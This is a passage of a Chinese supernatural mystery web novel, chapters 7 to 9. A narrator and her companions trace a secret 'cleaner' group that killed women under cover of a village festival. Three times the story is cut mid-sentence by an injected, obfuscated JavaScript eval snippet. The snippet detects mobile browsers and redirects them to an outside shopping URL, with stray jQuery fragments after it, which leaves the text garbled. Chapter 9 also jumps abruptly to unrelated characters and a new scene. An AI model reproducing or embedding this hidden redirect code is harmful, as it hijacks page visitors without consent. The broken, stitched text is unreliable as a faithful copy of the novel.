夕阳西下,余晖透过柳树枝叶洒下来,形成斑驳的光影。光影深处,一个熟悉的身影正缓缓走出—— 是周婆婆! 她穿着一身深色旧衣,手里拎着一个布包,脸色阴沉,眼神直直地盯着我们,尤其是我手中的木盒,眼神里充满了复杂的情绪,有愤怒,有恐惧,还有一丝……绝望? 她怎么找到这里的?是一直跟着我们,还是早就知道我们会来? “周婆婆!”我主动开口,打破沉默。 周婆婆停下脚步,没靠近,只是隔着十几米的距离,声音沙哑地说:“把东西给我。” “这些是梅芳阿姨和水生的东西,不是你的。”我握紧木盒,“你为什么要藏着掖着? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182827|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年到底发生了什么?梅芳阿姨是不是被你们周家害了?” “胡说!”周婆婆情绪激动起来,往前走了两步,“梅芳是自愿的!是她自己要走的!这些东西留着只会惹祸,给我,我替她好好安葬!” “自愿?”我冷笑,“一个母亲怎么会自愿丢下刚出生的孩子?还留下‘水边约定’?你在撒谎!” 周婆婆脸色煞白,嘴唇哆嗦着,想说什么,却又咽了回去。她的目光落在木盒里的纸条上,眼圈突然红了:“她……她真的写了这个?她真的以为……能回来?” “为什么不能回来?”我追问,掌心炙痕越来越烫,“是不是‘清理者’?是不是吴茂源他们阻止了她?” 提到“吴茂源”三个字,周婆婆身体猛地一颤,脸色瞬间变得惨白如纸,眼神里充满了恐惧,像是听到了什么极其可怕的名字。 “别……别再提这个名字!”她声音发颤,连连后退,“我什么都不知道!东西你要拿就拿,我不管了!” 说完,她猛地转身,快步走进柳树林深处,很快就消失在光影里,只留下一阵急促的脚步声和风吹树叶的“沙沙”声。 她跑了?就这么跑了? 我和江磊面面相觑。 “宋姐,这……”江磊挠挠头,“她看起来好像很怕那个吴茂源?” “不止是怕,是极度恐惧。”我看着周婆婆消失的方向,“她一定知道吴茂源和梅芳的死有关,甚至可能知道更多关于‘清理者’的事,但她不敢说。” 江磊突然想起什么,拿出手机:“对了,我姐刚才发消息给我,说技侦那边又有新发现,苏怀薇公寓里的水渍和绣花鞋上的有机化合物,除了和‘清理者’符纸相似,还检测出了微量的、清河县本地特有的河泥成分!” 清河县河泥成分?! “清理者”不仅在清河县活动,还可能就是本地人,或者长期在清河县待过! 我心里一沉。周婆婆的反常,“清理者”的本地痕迹,梅芳的“水边约定”,水生的遗物……所有线索都在清河县交汇,这里才是真正的核心战场! “我们得赶紧离开这里,不安全。”我把木盒里的东西小心收好,放进背包,“江磊,你知道哪里有安全的、能临时落脚的地方吗?最好离老城区和河边远一点。” “有!我家有个闲置的老房子,在新城区,没人住,安全得很!”江磊立刻说,“我们现在就走,天黑前能到!” 我们收拾好东西,快步沿着小路往回走。夕阳彻底落下,天色快速暗下来,河岸的风越来越凉,柳树林里的“呜呜”声越来越清晰,像是有无数个声音在低声诉说着什么。 我回头看了一眼第三棵柳树,它歪歪扭扭的树干在暮色中像一个佝偻的身影,静静地矗立在河边,见证了几十年前的分离、约定和悲剧。 “水边的约定”,梅芳没来得及兑现。 但我会。 我会带着这些遗物,让水生的魂灵安息,让梅芳的冤屈大白于天下。 刚坐上江磊的车,我的手机就震动了,是楚遥发来的加密消息,附带一张模糊的监控截图: “紧急!清河县汽车站监控拍到,周桂芬下车时,身后跟着一个穿黑色连帽衫的男人,形迹可疑,与之前跟踪苏怀薇的‘清理者’体态特征高度相似!他也跟着周桂芬去了河西村方向!” “另外,赵安宁刚才联系我,说她婆婆走后,她在家中发现了一个隐秘的小木箱,里面全是关于梅芳的旧信件和一张老照片,照片上有梅芳和一个年轻男人的合影,那个男人……很像年轻时的吴茂源!” 穿黑色连帽衫的“清理者”跟着周婆婆! 吴茂源和梅芳认识,甚至可能有特殊关系! 周婆婆跑了,但“清理者”没放弃,而且赵安宁家还藏着更关键的线索! 我握着手机,看着窗外飞速后退的清河县夜景,心脏狂跳。 周婆婆知道太多秘密,“清理者”不会放过她。 赵安宁拿着吴茂源和梅芳的合影,处境也岌岌可危。 而我们,刚拿到水生的遗物,就成了“清理者”的下一个目标。 清河县的夜,越来越黑,越来越危险。 (OS:CPU干烧了!一边是被“清理者”追杀的周婆婆,一边是握着关键照片的赵安宁,还有我们这群被盯上的“外来者”,这局怎么破?!) 7. 第 7 章 江磊的车在新城区闲置老房子停稳时,夜色已经浓得化不开。我刚把背包拎下来,手机就震动不停,是赵安宁发来的连环消息,附带好几张照片。 “宋姐!我找到关键东西了!”她的语音带着哭腔,却难掩急切,“那个小木箱里,除了信件和合影,还有一本梅芳阿姨的日记残页!你快看!” 我点开照片,指尖都在发颤。照片里的日记纸已经泛黄发脆,字迹娟秀却带着潦草的慌乱,只有几页能辨认:“……吴茂源说,女不过社,过社则克家,这是族规……可我只想带着水生走……”“……他是清理者?不,他说会保护我……”“……社日祭,要献祭‘不安分’的女人,下一个是我?”“……周桂芬知道,她帮我藏了水生,说等风波过……” 社日祭!献祭! 我猛地抬头看向江磊,他正锁车门,被我看得一愣:“宋姐,怎么了?” “清河县的‘女不过社’,到底是什么规矩?”我追问,掌心炙痕烫得惊人,“社日祭,是用来做什么的?” 江磊脸上的笑容瞬间消失,挠了挠头,语气变得迟疑:“‘女不过社’就是说,村里的女人不能参加三月三的社日祭祀,说是会冲撞神灵,给村子带来灾祸。社日祭就是祭拜土地神,求丰收平安……但我奶奶说,老辈的社日祭,比现在隆重,也……邪门得多。” “怎么邪门?” “听说以前社日祭要摆‘三生’,有时候还会烧纸人,说是送走‘晦气’。”江磊压低声音,“还有传言,几十年前有一年社日过后,村里好几个‘不听话’的女人都失踪了,说是被土地神收走了。” 被土地神收走?分明是被“清理者”借着民俗幌子杀害了! 梅芳的日记残页印证了我的猜想:“女不过社”不是简单的禁忌,是“清理者”筛选、迫害女性的规则;社日祭,就是他们执行“清理”的幌子! “周婆婆的老宅子在哪?”我抓起背包,“我们现在就去!她既然跑回清河县,大概率会回老宅子拿东西,或者藏在那里!” 江磊犹豫了一下:“河西村老宅子早就没人住了,荒了好些年,而且……那边离社日祭的旧址很近,晚上更邪门。” “越邪门,越可能藏着真相。”我语气坚定,“现在就去,晚了可能就被周婆婆或者‘清理者’捷足先登了!” 江磊拗不过我,只好重新发动车子,往河西村方向开。 夜色中的河西村像个沉睡的幽灵,老房子错落有致地分布在河边,大多黑灯瞎火,只有几户人家亮着微弱的灯光。周婆婆的老宅子在村子最里头,靠近社日祭旧址的一片空地旁,是一栋低矮的土坯房,院墙都塌了一半,门口长满了齐腰深的杂草。 “就是这儿了。”江磊停下车,从后备箱拿出手电筒,“宋姐,你跟在我后面,小心点,里面可能有蛇虫。” 我们踩着杂草走进院子,土坯房的木门虚掩着,一推就发出“吱呀”的刺耳声响,吓得我心头一紧。手电筒的光柱扫过屋内,灰尘弥漫,蛛网遍布,墙角堆着破旧的家具和农具,空气中混杂着霉味和泥土的气息。 “有人吗?周婆婆?”江磊喊了两声,没人回应。 我握紧背包里的工兵铲,掌心炙痕的热度越来越明显,像是在指引方向。我顺着炙痕的感应,走向里屋,推开一扇摇摇欲坠的木门。 里屋更暗,只有一缕月光从破损的窗户透进来。我用手电筒仔细扫视,突然,光柱停在墙角一个锁着的木箱上——和赵安宁家那个小木箱款式很像,只是更陈旧。 “江磊,帮我撬开它!” 江磊拿出随身携带的螺丝刀,费了好大劲才把生锈的锁扣撬开。木箱里没有金银财宝,只有一叠用红布包裹的旧物:几件褪色的女人衣物、一个磨损严重的绣花荷包,还有一本完整的、封面写着“梅芳”的日记! 我心脏狂跳,颤抖着翻开日记。前面的内容大多是日常琐事,记录着她和吴茂源的相识、相恋,还有怀孕后的喜悦。但从某一页开始,字迹变得慌乱: “茂源说,族里发现我们的事了,说我‘不安分’,违反了‘女不过社’的规矩,要在社日祭上献祭我。” “他说会救我,让我先把水生藏起来,等他摆平族里的人。周桂芬答应帮我,说藏在清水东岸第三柳下,那里没人敢去。” “我不信族里的人,更不信那个所谓的‘清理者’。茂源说清理者是族里的长辈,专门处理‘违规’的人,可我总觉得,他看我的眼神不对劲。” “社日前夜,周桂芬来告诉我,清理者同意放过我,但要我永远离开清河县,再也不回来。她给了我一张车票,让我连夜走。” “我走了,水生还在等我。如果我没回来,就是被清理者害了。清理者的标志,是一枚刻着‘社’字的铜戒。” 刻着“社”字的铜戒! 我猛地想起,之前在赵安宁家看到的合影里,吴茂源的手指上,似乎戴着一枚戒指! “宋姐,你看这个!”江磊突然指着日记最后一页,上面画着一个简单的图案——和静水庵牌位上那个“水”字变形符号一模一样,旁边还有一个小小的“社”字。 这是“清理者”的专属标记! “吴茂源就是清理者!”我脱口而出,“他利用和梅芳的感情,骗她藏起孩子,然后借着社日祭的名义,杀害了她!周婆婆知道真相,所以几十年来一直祭拜水生,心里充满愧疚!” 江磊瞪大了眼睛:“可吴茂源当年是副镇长,怎么会是清理者?” “正因为他是副镇长,才有权力掩盖真相,利用民俗规则杀人!”我翻到日记最后一页,上面还有一行模糊的字迹,“清理者不止一个,是一个组织,核心在社日祭旧址……” 社日祭旧址! 我刚要说话,外面突然传来一阵轻微的脚步声,紧接着,手电筒的光柱照进了里屋,刺眼的光线让我们睁不开眼。 “谁在里面?”一个沙哑的男声响起,带着浓浓的恶意。 江磊下意识地挡在我前面,我握紧工兵铲,眯着眼看向门口。 门口站着一个穿黑色连帽衫的男人,帽子压得很低,看不清脸,但他的右手,赫然戴着一枚刻着“社”字的铜戒! 是“清理者”!他跟踪我们到了这里! “把日记交出来。”男人一步步走进来,声音冰冷,“否则,你们今天就留在这儿,陪梅芳一起‘献祭’给土地神。” 江磊吓得脸色发白,却还是硬着头皮喊:“你是谁?我报警了!” “报警?”男人冷笑一声,从口袋里掏出一把匕首,“在清河县,清理者的话,就是规矩。你们破坏了规矩,就得死。” 他猛地冲过来,匕首直刺向我手中的日记! 我下意识地躲闪,江磊从旁边抄起一根木棍,狠狠砸向男人的胳膊。男人吃痛,匕首掉在地上,他转身踹向江磊,江磊踉跄着后退,撞在墙上。 我趁机捡起匕首,对准男人:“你到底是谁?为什么要替吴茂源掩盖真相?” 男人盯着我,突然笑了:“吴茂源?他只是个棋子。清理者组织存在了几十年,不是你能撼动的。今天,这日记和你们,都得留下。” 他再次扑过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182828|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,动作又快又狠。我手里的匕首根本不是他的对手,只能狼狈躲闪。就在他的手快要抓住我的时候,外面突然传来一阵急促的警笛声,越来越近。 男人脸色一变,骂了一句,转身就往窗户跑,一脚踹碎玻璃,跳了出去,消失在夜色中。 “宋姐,你没事吧?”江磊扶着墙站起来,惊魂未定。 我摇摇头,看向窗外警笛声传来的方向,是楚遥!她赶来了! 几分钟后,楚遥带着几名警察冲进屋子,看到我们没事,松了口气:“还好赶上了!我查到周桂芬买了去邻市的车票,但半路上又下车了,怀疑她回了老宅子,就赶紧赶过来了。” “楚遥,我们找到关键证据了!”我把日记递给她,“梅芳的日记,证明吴茂源是清理者,他们借着‘女不过社’的民俗禁忌,杀害了很多‘不听话’的女人!” 楚遥快速翻看日记,脸色越来越凝重:“社日祭旧址……我们现在就去!说不定能找到更多清理者的证据!” 我们跟着楚遥,带着警察赶往社日祭旧址。旧址就在河西村外的一片空地上,中间有一个残破的土台,应该就是当年祭祀的地方。 警察用手电筒仔细搜查,突然,一名警察喊道:“楚队,这里有个暗格!” 我们围过去,只见土台侧面有一块松动的石板,掀开后,里面是一个狭小的暗格,放着一个铁盒。 楚遥打开铁盒,里面是一本厚厚的名册,还有几枚刻着“社”字的铜戒! 名册上记录着几十年来被“清理”的女性名单,春枝、秋燕、梅芳、赵秀兰……一个个名字触目惊心,后面还标注着“水葬”“火烧”“活埋”等字样,经手人一栏,多次出现吴茂源的名字,还有几个陌生的名字,应该是其他清理者。 “这些畜生!”楚遥气得浑身发抖。 我看着名册,突然发现最后一页写着一个日期——就是三天后的社日!旁边还有一行字:“最后清理,终结所有知情者。” 三天后的社日,清理者要对我们动手了! 就在这时,我的手机震动,是赵安宁发来的消息,只有一张照片,是那本小木箱里的老照片放大图——照片背面,用铅笔写着一行小字:“吴茂源,社日祭主祭,清理者首领。” 吴茂源不只是清理者,还是首领! 而周婆婆,作为当年的知情者,现在恐怕也成了清理者的目标。 我们刚把名册和铜戒作为证据收好,楚遥的手机就接到了一个紧急电话,她听完后脸色骤变:“不好!邻市警方传来消息,周桂芬在一家小旅馆被人发现,已经昏迷不醒,床头留着一枚‘社’字铜戒!” “还有,技侦那边有新发现,梅芳日记上的字迹,除了她自己的,还有另一个人的笔迹,经过比对,和……江磊奶奶的笔迹高度相似!” 江磊奶奶?她也是清理者? 我猛地看向江磊,他瞪大了眼睛,满脸难以置信:“不可能!我奶奶那么慈祥,怎么会是清理者?” 社日只剩三天,清理者首领吴茂源的秘密被揭开,江磊奶奶的身份成谜,周婆婆昏迷,我们不仅要保护自己,还要阻止清理者的“最后清理”。 而社日祭旧址的暗格里,除了名册和铜戒,还少了一样东西——梅芳日记里提到的“清理者核心信物”,它在哪里?是不是被那个逃跑的清理者拿走了? 三天后的社日祭,注定是一场生死对决。 (OS:信息量爆炸!江磊奶奶居然可能是清理者?社日祭的核心信物到底是什么?这局越来越复杂,我们能活到社日,揭开所有真相吗?) 8. 第 8 章 江磊的车刚停在新城区闲置老房楼下,我的手机就弹出楚遥的加密消息,附带一张清晰的物证照片——是赵安宁家那个老虎布偶里的银锁,放大后能看到锁身内侧,刻着一个极小的“梅”字,与木匣刻字、梅芳日记里的署名完全吻合。 “宋姐,这银锁果然和梅芳有关!”江磊凑过来看,一脸震惊,“我奶奶说的‘梅家的’女人,就是梅芳?” “大概率是。”我指尖划过照片上的“梅”字,掌心炙痕隐隐发烫,“周婆婆祭拜的‘水生’,就是梅芳的孩子。她现在急着回清河县,肯定是怕我们找到水生的埋骨地,或者……怕我们发现梅芳的真正死因。” (OS:周婆婆,你这葫芦里到底卖的什么药?是赎罪,还是帮凶?) “楚警官还说啥了?”江磊一边开锁,一边追问。 “她说技侦比对了银锁上的微量残留物,除了河泥,还有极淡的朱砂痕迹,和‘清理者’符纸上的成分一致。”我走进屋,把背包放在桌上,“这说明,当年梅芳和水生的事,‘清理者’从头到尾都参与了。吴茂源不是单独作案,是‘清理者’组织的执行者。” 江磊倒吸一口凉气:“这么说,我奶奶……真的可能是清理者?” 我没直接回答。江磊奶奶的笔迹疑点、周婆婆的反常、吴茂源的首领身份,像三张交织的网,缠得人喘不过气。 “先不想这个。”我拿出从乱石堆挖来的木盒,“我们先看看里面的东西,说不定能找到梅芳和周婆婆的关联。” 木盒朽坏严重,我小心翼翼地打开,除了之前的银锁、胎发和纸条,底部还压着一块折叠的旧手帕。手帕是粗布材质,褪色严重,边缘磨损得厉害,上面用蓝靛染的丝线绣着几朵简单的栀子花,和姥姥留下的那块手帕款式相似,但针脚更稚嫩。 “这是梅芳的?”江磊指着手帕,“上面好像有字!” 我展开手帕,果然在栀子花下方,有几行用炭笔写的残字,墨迹模糊,只能辨认出零星字眼:“……茂源骗我……清理者……社日祭……周桂芬……救孩子……” 周桂芬!周婆婆的本名! “周婆婆当年救了水生?”江磊瞪大眼,“可她为什么现在又要挖走遗物?” “可能不是‘挖走’,是‘转移’。”我摩挲着帕子上的字迹,“梅芳写‘救孩子’,说明周婆婆当年是帮凶,还是被胁迫的帮凶?现在她急着处理遗物,可能是怕‘清理者’找到,斩草除根。” 正说着,江磊的手机突然响了,是村里熟人打来的。他接起听了几句,脸色骤变:“啥?周桂芬去了河西村老磨坊?还问了磨坊后面的枯井在哪?” 枯井? 我心里咯噔一下。木匣刻字只说水生埋在“清水东岸第三柳下乱石堆”,没提枯井。周婆婆找枯井做什么?难道还有第二处藏物地? “我们现在就去老磨坊!”我抓起背包,“她肯定在枯井里藏了更重要的东西,可能是梅芳的遗书,或者‘清理者’的罪证!” 江磊二话不说,重新发动车子。新城区到河西村老磨坊要走二十分钟乡间小路,路面坑洼,车开得颠簸。窗外的田野一片漆黑,只有车灯照亮前方零星的树影,风吹过庄稼地,发出“沙沙”的声响,像有人在暗处尾随。 “宋姐,老磨坊早就废弃了,后面的枯井据说几十年前就填了,只剩个井口遗迹。”江磊握紧方向盘,语气有些紧张,“我小时候听老人说,那枯井邪门得很,半夜能听到女人哭,没人敢靠近。” 掌心炙痕越来越烫,像是在预警危险。我掏出铜铃握在手里,指尖摩挲着铃身的纹路:“越邪门,越可能藏着真相。周婆婆找枯井,说不定是要销毁什么,我们得赶在她前面。” 车子在老磨坊附近的空地支停。老磨坊是栋低矮的土坯房,门窗朽坏,黑漆漆的像个张着嘴的怪兽。磨坊后面果然有个长满杂草的土坑,隐约能看到一块破损的石板,应该就是枯井井口。 “宋姐,你看那边!”江磊突然指向磨坊墙角。 我顺着他指的方向看去,瞳孔骤缩——墙角有个模糊的人影,正弯腰在枯井边忙活,手里拿着一把铁锹,正是周婆婆!她居然真的在挖枯井! “周婆婆!”我低声喊了一声。 周婆婆浑身一僵,猛地直起身,回头看到我们,脸色瞬间变得惨白,手里的铁锹“哐当”掉在地上。 “你们……你们怎么来了?”她声音发颤,下意识地往枯井边退了退,像是在保护什么。 “我们来找你。”我慢慢走近,语气平和,“梅芳的手帕我们找到了,上面写着你救了水生。周婆婆,你到底和梅芳是什么关系?当年到底发生了什么?” 周婆婆嘴唇哆嗦着,眼神躲闪,过了好一会儿,才重重叹了口气:“罢了,都几十年了,该说的,也该说了。” 她捡起铁锹,拨开枯井边的杂草,露出一块松动的石板。“我和梅芳,是远房表姐妹。当年她未婚先孕,和吴茂源处对象,被族里人骂‘伤风败俗’,要在社日祭上献祭她。” “吴茂源没保护她?”江磊追问。 “保护?他就是个懦夫!”周婆婆情绪激动起来,声音拔高,“他怕得罪族里的‘清理者’,怕丢了副镇长的职位,就劝梅芳把孩子藏起来,说等风波过了就接她走。我心软,就帮她把水生藏到了清水东岸,还留了银锁当记号。” “那梅芳呢?她后来怎么了?”我追问。 周婆婆眼神黯淡下来,声音哽咽:“她没等到风波平息。社日前夜,‘清理者’找上门,说要带她去祠堂‘问话’。我偷偷跟在后面,看到吴茂源也在,他手里拿着刻着‘社’字的铜戒,亲手把梅芳推进了枯井,还让人填上了土!” 什么?! 我和江磊都惊呆了。吴茂源不仅是清理者首领,还亲手杀害了梅芳? “那你为什么几十年都不揭发他?还一直祭拜水生?”江磊质问。 “我不敢啊!”周婆婆哭了出来,“吴茂源是副镇长,清理者势力大,我要是说了,我全家都得死!我只能偷偷祭拜水生,替梅芳赎罪,替吴茂源赎罪!” 她弯腰掀开枯井边的石板,从里面掏出一个用油纸包着的小包裹:“这是梅芳临死前塞给我的,说如果她出事,让我保管好,等水生长大了交给她。里面是她的一缕头发,还有一张写满字的布条。” 我接过油纸包,打开一看,里面果然有一缕乌黑的头发,还有一张泛黄的布条,上面的字迹工整却带着绝望:“水生,娘对不起你。吴茂源是清理者,他骗了我。清理者的核心在社日祭土台暗格,里面有所有受害者的名单。娘不能陪你长大了,愿你平安,勿寻仇,好好活。” 名单!社日祭土台暗格! 我心脏狂跳,这就是“清理者”的核心罪证! “那你这次回来,为什么要挖水生的埋骨地?”我问。 “我不是要挖,是要转移!”周婆婆急切地说,“我知道你们在查这件事,也知道‘清理者’没消失。他们最近在找梅芳的遗物,怕我把名单的事说出去。我想把水生的遗物和这布条藏到更安全的地方,没想到还是被你们找到了。” 就在这时,江磊突然拉住我,压低声音:“宋姐,你听!有脚步声!” 我立刻屏住呼吸。晚风里,除了庄稼地的“沙沙”声,还有一阵轻微的、有节奏的脚步声,正从磨坊另一侧慢慢靠近,越来越清晰。 周婆婆脸色一变,猛地抓住我的胳膊:“是‘清理者’!他们跟踪我!” 我握紧铜铃,示意江磊关灯。黑暗中,脚步声停在了磨坊门口,一道手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182829|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电筒的光柱扫了进来,照在我们刚才站的地方。 “周桂芬,我们知道你在这里。”一个冰冷的男声响起,带着浓浓的恶意,“把梅芳的遗物交出来,饶你不死。” 是那个穿黑色连帽衫的“清理者”!他居然跟踪周婆婆到了这里! “怎么办?宋姐!”江磊吓得声音发颤,悄悄摸出车里带来的木棍。 “别慌。”我压低声音,对周婆婆说,“你带着布条和头发先走,从磨坊后面的小路跑,去新城区闲置老房等我们。我和江磊引开他们!” “不行!太危险了!”周婆婆摇头。 “没时间了!”我推了她一把,“名单的事只有你知道,你不能出事!快走!” 周婆婆咬了咬牙,转身就往磨坊后面跑。我和江磊则捡起地上的石头,朝着相反方向扔过去,制造动静。 “在那边!”黑色连帽衫男人的声音传来,脚步声朝着我们这边逼近。 “江磊,跟我跑!”我拉着他,借着夜色的掩护,往磨坊后面的庄稼地跑。庄稼秆高过头顶,能很好地隐蔽身形,但脚下全是泥坑,跑起来磕磕绊绊。 身后的脚步声紧追不舍,还有手电筒的光柱在庄稼地里扫来扫去,像毒蛇的信子。 “宋姐,他怎么跟这么紧?”江磊喘着气,声音带着哭腔。 “他可能有同伙,或者有追踪设备!”我一边跑,一边摸出手机,给楚遥发加密消息:“紧急!河西村老磨坊,遭遇‘清理者’,周婆婆带着梅芳布条突围,我们被追踪,请求支援!” 消息刚发出去,身后的光柱突然停住了,脚步声也消失了。 我和江磊躲在一丛玉米后面,大气不敢出。过了几分钟,还是没动静。 “他走了?”江磊小声问。 我摇摇头,心里有种不祥的预感。突然,手机震动,楚遥发来消息,附带一张监控截图——是清河县老城区的监控,拍到两个穿黑色连帽衫的男人,正朝着新城区方向跑去,其中一个手里拿着铁锹! “不好!他们调虎离山!目标是周婆婆!”我猛地站起来,“江磊,快回新城区老房!周婆婆有危险!” 我们拼命往停车的地方跑,心脏狂跳。刚才那个男人故意追我们,是为了拖延时间,让同伙去拦截周婆婆! 江磊发动车子,油门踩到底,车子在乡间小路上飞驰。我看着窗外飞速后退的夜色,手心全是冷汗。周婆婆手里的布条,是找到清理者核心罪证的关键,他们绝对不会放过她! 车子刚驶入新城区,江磊的手机就响了,是闲置老房附近的邻居打来的:“江磊!你家那老房子出事了!刚才有两个黑衣人闯进去,里面好像有人打斗,现在没动静了!” 我的心瞬间沉到谷底。 江磊猛打方向盘,车子在老房门口急刹。房门被踹开,里面一片狼藉,桌椅翻倒,地上有几滴暗红色的血迹。 周婆婆不见了。 地上只留下一个被撕碎的油纸包,头发散落在地,而那张写着名单线索的布条,消失了! 就在这时,我的手机收到一条陌生号码发来的短信,只有一句话:“想要布条和周桂芬,社日祭土台,单独来。” 发件人号码,正是之前“清理者”用来联系我们的加密号码! 我握着手机,看着地上的血迹和散落的头发,浑身冰冷。 周婆婆被抓了。 布条落在了“清理者”手里。 他们要我单独去社日祭土台——那个埋葬了无数冤魂、藏着清理者核心秘密的地方。 这分明是陷阱。 可我没得选。 (OS:社日祭土台,清理者的老巢。他们想要的到底是布条,还是我这个问阴婆?这一去,是自投罗网,还是能揭开所有真相?) 9. 第 9 章 地下室的积水已经漫到膝盖,冰冷刺骨。 郑主任的脚步声渐行渐远,只留下水流奔涌的轰鸣,像死神的倒计时。 “妈的!这老王八蛋!” 陆明踩着积水,拼命踹着被封死的铁门,鞋底打滑差点摔倒,“这破门根本踹不开!” 楚遥举着手电,光柱扫过四周墙壁,眉头拧成死结:“这地方是水泥浇筑的,没有通风管道,唯一的出口被封死了,我们成瓮中之鳖了!” 姜月迟握着扳手,脸色惨白,却依旧冷静:“水涨得很快,最多十分钟就会没过胸口,我们得想办法从别的地方突围,或者…… 利用那个密室。” 她指向我们刚出来的、藏着铁箱的小洞口。 (OS:密室?那地方更小,进去不是等着被淹吗?姜总,你这是急糊涂了?) “密室里说不定有通风口,或者…… 当年的废弃管道?” 姜月迟解释,“这种老水文站,地下室通常会留检修通道,只是被封死了。总比在这里坐以待毙强!” 楚遥立刻点头:“走!回密室!” 我们蹚着浑浊的积水,挤回那个狭小的密室。刚关上门,外面的积水就已经漫到了门槛,顺着门缝往里渗。 密室里,那个锈迹斑斑的铁箱敞着盖,账本和胶卷盒就放在里面。楚遥一把将东西塞进防水袋,紧紧抱在怀里:“陆明,用相机支架敲墙!看看有没有空鼓的地方!” 陆明立刻照做,相机支架敲在水泥墙上,发出沉闷的 “咚咚” 声。我和姜月迟也没闲着,用扳手、石块到处敲击,希望能找到薄弱点。 水已经漫进密室,没过脚踝,冰冷的触感让我浑身发抖。掌心的炙痕烫得惊人,像是在抗议这致命的潮湿。 “这边!” 陆明突然大喊,“这面墙是空的!” 我们立刻围过去,手电照过去,那面墙的苔藓比其他地方更厚,敲击声明显清脆许多。 “砸!” 楚遥一声令下,我们轮流用扳手、支架猛砸。 水泥块簌簌掉落,很快砸出一个拳头大的洞,冷风从洞里灌进来,带着泥土的腥气 —— 后面果然是空的! “是废弃的检修通道!” 楚遥眼睛一亮,“快扩大洞口!” 就在我们全力砸墙时,放在铁箱旁的那支素银簪子,突然自己震动起来,发出 “嗡嗡” 的低鸣。 紧接着,密室里的积水开始异常翻涌,不是因为外面的水流灌入,而是…… 水下有东西在搅动! “怎么回事?!” 姜月迟惊呼,手电照向水面。 积水里,隐约浮现出无数细小的、苍白的光点,像萤火虫,却带着刺骨的寒意。光点汇聚,渐渐凝成几个模糊的、半透明的人影 —— 是春枝、秋燕、梅芳她们! 她们的魂灵,竟然被这绝境中的积水和怨气唤醒了! “是…… 是她们!” 我心脏狂跳,“她们来帮我们了?” 但下一秒,我就发现不对。 那些魂灵的表情不是悲悯,而是扭曲的怨毒,眼睛里冒着黑烟,指甲乌黑尖长,直扑向我们! “小心!她们被怨气操控了!” 楚遥立刻举起枪,却不知道该对准哪里。 (OS:不是吧!关键时刻掉链子?这是来帮忙还是来添乱的?) 春枝的魂灵离我最近,她当年被按入水中的窒息感,通过怨气传递过来,让我胸口发闷。我下意识举起铜铃,用力摇动:“叮铃 —— 叮铃铃 ——” 清脆的铃声穿透水声,那些魂灵动作一顿,似乎被刺痛,但很快又被更浓的怨气包裹,再次扑来! “没用!普通的问阴仪式镇不住她们!” 我急得大喊,“她们被这地方的煞气和郑主任的邪术影响,已经失控了!” 积水越来越深,已经漫到小腿肚。检修通道的洞口刚够一个人勉强钻进去,还没完全打通。 “必须唤醒她们的本体意识!” 姜月迟突然喊道,她从脖子上扯下一条细细的红绳,上面挂着半块玉佩,“这是我妈留下的!她当年受过秋燕姐的恩惠,这玉佩是秋燕姐送她的!” 她把玉佩扔给我:“宋溪月,用你的血!用问阴婆的血脉,连接她们的记忆!只有真正的情感,才能打破怨气的操控!” 我接住冰凉的玉佩,看着上面细小的刻痕 —— 是秋燕喜欢的 “茉莉花” 图案。 没时间犹豫了! 我咬破舌尖,一口鲜血喷在玉佩上,又将掌心的炙痕划破,鲜血滴在铜铃上。然后,我握着玉佩和铜铃,闭上眼睛,集中所有意念,嘶吼着喊道: “春枝!你不是失足落水!你是想考大学,想看看山外面的世界!你不能让仇恨吞噬你的初衷!” “秋燕!你不是伤风败俗!你只是想和喜欢的人识字、唱歌!韩秋云还记得你教她的《茉莉花》,她从来没忘!” “梅芳!你不是狠心弃子!你是为了保护水生,让他能活下去!他的襁褓还在,他的胎发还在,他没有被遗忘!” 每喊出一个名字,每说出一段往事,我就感觉一股暖流从掌心炙痕涌出,通过玉佩和铜铃,传递给那些失控的魂灵。 春枝的魂灵动作猛地停住,脸上的怨毒渐渐褪去,露出少女的迷茫和委屈。她低头看着自己透明的手,似乎想起了什么。 秋燕的魂灵也停下了攻击,目光落在我手中的玉佩上,眼神复杂,黑烟慢慢消散。 梅芳的魂灵则转向那个铁箱,看着里面的账本,眼泪无声滑落,化作点点荧光。 “她们…… 清醒了?” 陆明瞪大了眼睛。 就在这时,密室的门被积水冲开,一股更大的水流涌入,带着一个意想不到的人影 —— 是郑主任! 他似乎没料到我们还没被淹死,更没料到会看到魂灵现身,脸色瞬间惨白:“妖…… 妖魔鬼怪!” 他手里拿着一把消防斧,显然是想回来 “补刀”,此刻却吓得连连后退。 春枝的魂灵看到他,眼神瞬间变得锐利,带着刻骨的恨意 —— 